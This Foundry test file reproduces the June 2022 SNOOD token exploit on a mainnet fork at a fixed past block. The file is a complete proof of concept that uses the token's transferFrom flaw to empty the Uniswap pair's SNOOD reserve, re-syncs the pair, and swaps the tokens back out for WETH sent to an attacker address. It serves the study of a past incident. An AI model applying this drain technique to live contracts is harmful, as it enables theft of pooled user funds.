src/test/2022-06/Snood_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7interface IUNIPAIR is IERC20 {
8    function sync() external;
9 
10    function getReserves() external returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
11 
12    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
13}
14 
15contract ContractTest is Test {
16    IERC20 SNOOD = IERC20(0xD45740aB9ec920bEdBD9BAb2E863519E59731941);
17    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
18 
19    IUNIPAIR uniLP = IUNIPAIR(0x0F6b0960d2569f505126341085ED7f0342b67DAe);
20    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
21 
22    function setUp() public {
23        cheats.createSelectFork("mainnet", 14_983_660); //fork mainnet at block 14983660
24    }
25 
26    function testExploit() public {
27        // address attacker = vm.addr(1);
28        address attacker = 0x180ea08644b123D8A3f0ECcf2a3b45A582075538;
29        emit log("before the attack");
30        emit log_uint(WETH.balanceOf(attacker));
31        assertTrue(WETH.balanceOf(attacker) == 0);
32 
33        uint256 balance = SNOOD.balanceOf(address(uniLP));
34        require(SNOOD.transferFrom(address(uniLP), address(this), balance - 1));
35        uniLP.sync();
36 
37        require(SNOOD.transfer(address(uniLP), balance - 1));
38 
39        (uint112 a, uint112 b,) = uniLP.getReserves();
40 
41        uint256 amount0Out;
42        if (b * 10_000 + (balance - 1) * 9970 == 0) {
43            amount0Out = 0;
44        } else {
45            amount0Out = ((balance - 1) * 9970 * a) / (b * 10_000 + (balance - 1) * 9970);
46        }
47 
48        uniLP.swap(amount0Out, 0, attacker, "");
49 
50        emit log("WETH after the attack");
51        emit log_uint(WETH.balanceOf(attacker));
52 
53        assertTrue(WETH.balanceOf(attacker) > 0);
54    }
55}